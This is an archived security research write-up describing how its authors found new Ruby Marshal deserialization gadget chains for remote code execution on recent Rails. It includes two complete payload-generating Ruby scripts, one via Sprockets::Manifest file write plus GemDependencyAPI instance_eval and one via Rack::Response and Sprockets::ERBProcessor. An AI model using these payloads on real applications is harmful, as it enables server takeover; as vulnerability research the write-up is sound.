

httpvoid/writeups: Ruby-deserialization-gadget-on-rails.md

httpvoid/writeups: Ruby-deserialization-gadget-on-rails.md - httpvoid, GitHub.

- Published: date not stated
- Original: <<https://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md>>
- Preserved from: <https://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md> (github-api) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Repository reading copy. Created from [Ruby-deserialization-gadget-on-rails.md](#).

Ruby-deserialization-gadget-on-rails.md

`httpvoid/writeups` at `main`, path `Ruby-deserialization-gadget-on-rails.md`.

Ruby Deserialization - Gadget on Rails

Motivation

Recently we encountered a ruby deserialization vulnerability that existed within a rails application. The backend application was using very recent ruby and rails release. Due to which we were unable to utilize any public ruby/rails gadgets. With the desire to convert this deserialization to RCE, we began our hunt in the ruby/rails source code for an RCE gadget that would work with the most recent version of ruby or rails.

Pre-Requisite

Quick Recap

- `Marshal.dump` means serialize
- `Marshal.load` means unserialize

- When an object of a class is serialized, `marshal_dump` method (if defined in class) is called.
- When an object of a class is underialized, `marshal_load` method (if defined in class) is called.
- When a undefined method is called on an object, `method_missing` method (if defined in class) is called.

If you're not familiar with ruby deserialization gadget hunting it is highly recommended to read the following articles before moving forward.

- <https://gist.github.com/rootxharsh/844e901f79c036245f6e336134255ce2>
- <https://github.com/charliesome/charlie.bz/blob/master/posts/rails-3.2.10-remote-code-execution.md> [1]
- <https://www.elttam.com/blog/ruby-deserialization/> [2]
- <https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html> [3]

Current State of Previous Gadgets

- First rails gadget by charlie.bz [1] utilized `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` class which inturn uses `ERB` class to eval instance variable which is controlled by us during deserialization. This was fixed by simply adding a check in `ERB` class which prevents it from being serialized(marshalled)

[This was fixed by simply adding checks in ERB class which prevents it from being serialized \(marshalled\)](#)

- Universal Ruby 2.x-3.x deserialization gadgets (By Elttam, Vakzz) were also fixed by Ruby team.
 - <https://github.com/ruby/ruby/commit/1eaacb1ef538fe5af2fe231bb340fc39fef67547#diff-5daf0b4d40af647b25014bfbd30abaa25e34bd298d8503c180bb1f59edbdb885> [1]
 - <https://github.com/rubygems/rubygems/commit/141c2f4388f0f6f81e4d420d73961dbd68f5c08f> [3]
 - <https://github.com/ruby/ruby/blob/343ea9967e4a6b279eed6bd8e81ad0bdc747f254/lib/net/protocol.rb#L459> [3]

File Write and File Execution Gadget

BackStory

Although it was not possible to use `ERB` class anymore in the [1] gadget chain that uses `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy`. The primitive that we got with this technique was that we can execute any method on any object but without any arguments.

```
@object.__send__(@method)
```

This was also a challenge in PerfectBlue's 2020 CTF [3]. The solution used by teams was to utilize `ActiveModel::AttributeMethods::ClassMethods::CodeGenerator` which had an `execute` method that called `module_eval` on instance variable `@sources` resulting in ruby code execution.

Unfortunately, this class no longer has the `execute` method or a similar method that would eval based on our input in the gadget chain.

Initial File Write

After a lots of grepping/semgrep we found a class `Sprockets::Manifest` that is autoloaded by a rails application. The class had a `save` method that looks like this:

```
def save
  data = json_encode(@data)
  FileUtils.mkdir_p File.dirname(@filename)
  PathUtils.atomic_write(@filename) do |f|
    f.write(data)
  end
end
```

It could be seen that `json_encode` method is called on an instance variable `@data` that we can set during the marshalling. Similarly, `@filename` instance variable could also be set to any path (also creates directory if doesn't exist) and then that would be used to open a file descriptor to write the contents of `@data` at that path.

Which means continuing the [1] `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` primitive. we can call `save` method with crafted instance variables on `Sprockets::Manifest` to achieve arbitrary file write with full control on the contents.

Even though we had a file write we tried to look for places where we can achieve code execution using arbitrary file write primitive. While doing so, we stumbled upon, this snippet in `Gem::RequestSet::GemDependencyAPI` class.

```
def load
  instance_eval File.read(@path).tap(&Gem::UNTAIN), @path, 1

  self
end
```

This means again using [1] `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` we can call `instance_eval` on any file using `@path` instance variable.

Thus, we can achieve remote code execution in 2 steps

1. Use `Sprockets::Manifest` to perform. Arbitrary file write at a known location containing our ruby code
2. Utilize `Gem::RequestSet::GemDependencyAPI` 's load method which does `instance_eval` on the file we wrote consisting of our ruby code.

<details><summary> We can come up with following exploit</summary>

```

# usage: ruby exp.rb 'sleep 5'
require "base64"

class Gem::RequestSet::GemDependencyAPI
  def load
  end
end

class ActiveSupport
  class Deprecation
    class DeprecatedInstanceVariableProxy
      def initialize(instance, method)
        @instance = instance
        @method = method
      end
    end
  end
end

class Sprockets
  class Manifest
  end
end

cmd = ARGV[1]
# File Write Gadget
F=Sprockets::Manifest.allocate
F.instance_variable_set(:@data, '#{%x(' + cmd + ')}}')
F.instance_variable_set(:@filename, "/tmp/gadget/eval.txt")
# RCE Gadget ;)
hehe = Gem::RequestSet::GemDependencyAPI.allocate
hehe.instance_variable_set(:@path, "/tmp/gadget/eval.txt")

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, F
depr.instance_variable_set :@method, :save
depr.instance_variable_set :@var, "@save"
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new
payload1 = Base64.encode64(Marshal.dump(depr)).gsub("\n", "")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, hehe
depr.instance_variable_set :@method, :load
depr.instance_variable_set :@var, "@load"
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new

```

```
payload2 = Base64.encode64(Marshal.dump(depr)).gsub("\n", "")

puts payload1
puts payload2
```

</details>

Moving away from DeprecatedInstanceVariableProxy class

Since we were playing around previous deserialization gadgets, We thought to challenge ourselves and try to find a different gadget similar to what [vakzz](#) did in the latest Ruby itself. We spent a good time grepping and looking at potential initial gadget trampoline but were not successful.

Eventually, we thought to look for our own gadget chain in Ruby on Rails application instead. Since, attack surface will be larger.

How we initiated the search?

The [3] technique used `marshal_load` of `Gem::Requirement class`. However, this was [patched](#) so we began by looking at other `marshal_load` implementation in Rails code and found something which was almost equivalent to `Gem::Requirement class` in [activerecord-7.0.2.3/lib/active_record/associations/association.rb](#). Since we can set the argument, we can pass an array of 2 elements such that `ivars` will be in our control as the 2nd element of the array.

```
def marshal_load(data)
  reflection_name, ivars = data
  ivars.each { |name, val| instance_variable_set(name, val) }
  @reflection = @owner.class._reflect_on_association(reflection_name)
end
```

We will set `ivars` to an instance of `Gem::Package::TarReader` class similar to what was done in [3] technique to achieve code execution. However, another change was made down the line in the Ruby code which broke the previous gadget chain.

<https://github.com/ruby/ruby/commit/2b17d2f2970d382ac61d15d66f46d1c56f8f2598#diff-038ee4fdc5401fa2ae8da1c0a0e340167119af07b12696b403cb385be8008005L459-L461>.

So it was no longer possible to call arbitrary method on an arbitrary object instead what we can do is invoke `call` method on any object this time with one argument which is also not in our control.

```
def write(str)
  @writer.call(str)
end
```

Backtrace of our gadget chain would have looked something like this:

```
from /usr/local/lib/ruby/3.1.0/net/protocol.rb:459:in `write'
from /usr/local/lib/ruby/3.1.0/net/protocol.rb:465:in `<<'
from /usr/local/lib/ruby/3.1.0/net/protocol.rb:322:in `LOG'
from /usr/local/lib/ruby/3.1.0/net/protocol.rb:154:in `read'
from /usr/local/lib/ruby/3.1.0/rubygems/package/tar_header.rb:101:in `from'
from /usr/local/lib/ruby/3.1.0/rubygems/package/tar_reader.rb:59:in `each'
from /usr/local/bundle/gems/activerecord-
7.0.2.3/lib/active_record/associations/association.rb:189:in `marshal_load'
```

We looked at various definition of `call` methods on different classes which might lead to a dangerous sink (`*_eval`, `Kernel::open` etc.). We stumbled upon this class `Sprockets::ERBProcessor` class which looked appealing to us.

```
def call(input)

  if keyword_constructor? # Ruby 2.6+
    # The `input` to ERB constructor is taken from this method's argument
    engine = ::ERB.new(input[:data], trim_mode: '<>')
  else
    engine = ::ERB.new(input[:data], nil, '<>')
  end
  engine.filename = input[:filename]

  context = input[:environment].context_class.new(input)
  klass = (class << context; self; end)
  klass.const_set(:ENV, context.env_proxy)
  klass.class_eval(&@block) if @block

  # calling "result" method on an ERB instance results in ERB Code evaluation
  data = engine.result(context.instance_eval('binding'))
  context.metadata.merge(data: data)
end
```

This means, if we are able to somehow control the argument passed on `call` method we can get code execution.

With this in mind, we aimed to gain control over argument of `call` method but after a lot of searching for potential ways to achieve that, we couldn't find any and decided to take a step back and instead of calling `<<` method on `WriteAdapter` we thought to find another useful `<<` method on a different class.

```

from /usr/local/lib/ruby/3.1.0/net/protocol.rb:465:in `<<'
from /usr/local/lib/ruby/3.1.0/net/protocol.rb:322:in `LOG'
from /usr/local/lib/ruby/3.1.0/net/protocol.rb:154:in `read'
from /usr/local/lib/ruby/3.1.0/rubygems/package/tar_header.rb:101:in `from'
from /usr/local/lib/ruby/3.1.0/rubygems/package/tar_reader.rb:59:in `each'
from /usr/local/bundle/gems/activerecord-
7.0.2.3/lib/active_record/associations/association.rb:189:in `marshal_load'

```

Ruby's `Logger` class had a `<<` method which can be used to call `write` method with one argument (no control) on any object.

```

def <<(msg)
  @logdev&.write(msg)
end

```

Then we looked at how we can jump around from `write` method to a useful piece of code (dangerous sink). We chose `Rack::Response` class

```

def write(chunk)
  buffered_body!

  @writer.call(chunk.to_s)
end

```

which calls `buffered_body!` method that looks like this

```

def buffered_body!
  if @buffered.nil?
    if @body.is_a?(Array)
      ...
    elsif @body.respond_to?(:each)
      ...

      body.each do |part|
        @writer.call(part.to_s)
      end

      ...
    end

    return @buffered
  end
end

```

If we can supply `@body` to be an object which is not an Array and has an `each` method. We would be able to invoke `call` method on any object (by setting `@writer`) and the argument would be the values yielded from `each` method call on `@body` but `to_s` method is called on the argument as well.

Simply put, we can do the following: `<anything>.call(<anything>.to_s)` which is one step closer to our objective in getting back to `Sprockets::ERBProcessor` class to achieve code execution.

We figured if we set `@body` to an instance of `Set` it will no longer be an Array and also have an `each` method that will loop over its elements similar to an Array.

if we set `@body` to an instance of `Set.new(['a'])` and `@writer` to `Sprockets::ERBProcessor` instance then we can do achieve this `Sprockets::ERBProcessor.call('a')` which is exactly what we wanted!

There was a catch, however. `Sprockets::ERBProcessor.call(...)` method expects its argument to be a `Hash` and if `to_s` method is called on Hash it will gives its string representation which will error out further down the line.

Fortunately, people at [elttam](#)) already pointed out an interesting `to_s` implementation which we can use to return any value.

```
class Gem::Security::Policy
  ...
  attr_reader :name
  ...
  alias to_s name # :nodoc:

end
```

`to_s` is an alias to `@name`. If we set `@name` on `Gem::Security::Policy` instance then `to_s` method will return `@name` itself. This can be represented in ruby as follows:

```
c = Rack::Response.allocate
a=Gem::Security::Policy.allocate
a.instance_variable_set(:@name,{'key' => 'value'})
b=Set.new([a])
c.instance_variable_set(:@body, b)
c.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)
```

This time, `Sprockets::ERBProcessor.call({'key' => 'value'})` will be called which is exactly what we needed.

Now all that was left, was to craft our hash in such a way such that code flows smoothly to dangerous sink. Most of it is as straightforward as setting a few keys in our `input` hash. However, at line `[X]`, we need to set `environment` key in our input hash to such as an

object such that calling `context_class` and finally executing the constructor again with our controlled argument doesn't error out.

```
def call(input)
  ...
  context = input[:environment].context_class.new(input) # [X]
  ...

  # calling "result" method on an ERB instance results in ERB Code evaluation
  data = engine.result(context.instance_eval('binding'))
  ...
end
```

For which, we can utilize `Rails::Initializable::Initializer` class which has `context_class` method whose return value we can control (by setting `@context` instance variable).

```
...
x=Rails::Initializable::Initializer.allocate
x.instance_variable_set(:@context,Sprockets::Context.allocate)
...
```

setting `environment` key to `x` will result in calling `Sprockets::Context.new(input)` which afterwards will continue the execution without any exceptions.

Another small requirement was, that constructor of `Sprockets::Context` class also required `metadata` key to be set.

Latest Rails Remote Code Execution Gadget

```

require 'rails/all'
require 'base64'
Gem::SpecFetcher
Gem::Installer

require 'sprockets'
class Gem::Package::TarReader
end

d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)

d0=Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context,Sprockets::Context.allocate)

d1=Gem::Security::Policy.allocate
d1.instance_variable_set(:@name,{ :filename => "/tmp/xyz.txt", :environment => d0 ,
: data => "<%= `touch /tmp/pwned.txt` %>", :metadata => {}})

d2=Set.new([d1])

d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)

c=Logger.allocate
c.instance_variable_set(:@logdev, d)

e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")

b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c)

$a=Gem::Package::TarReader.allocate
$a.instance_variable_set(:@io,b)

module ActiveRecord
  module Associations
    class Association
      def marshal_dump
        # Gem::Installer instance is also set here
        # because it autoloads Gem::Package which is

```

```
        # required in rest of the chain
        [Gem::Installer.allocate,$a]
      end
    end
  end
end

final = ActiveRecord::Associations::Association.allocate
puts Base64.encode64(Marshal.dump(final))
```

Conclusion

In this writeup we went over the current state of previous ruby deserialization gadget chains and the process of finding new RCE gadgets. We went over the fixes of previous gadget chains and found a new way to achieve remote code execution on latest Rails framework.

Thank you for taking the time to read this! If you enjoyed this and other articles in this repository, please consider retweeting and following [HTTPVoid on Twitter](#). Feel free to correct us if there's any mistake. Contact us at hello [@] httpvoid.com if you believe we can be of any assistance to you.

Dhanyawad!

Archived from <https://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md>.
Rendered offline from the local Markdown copy.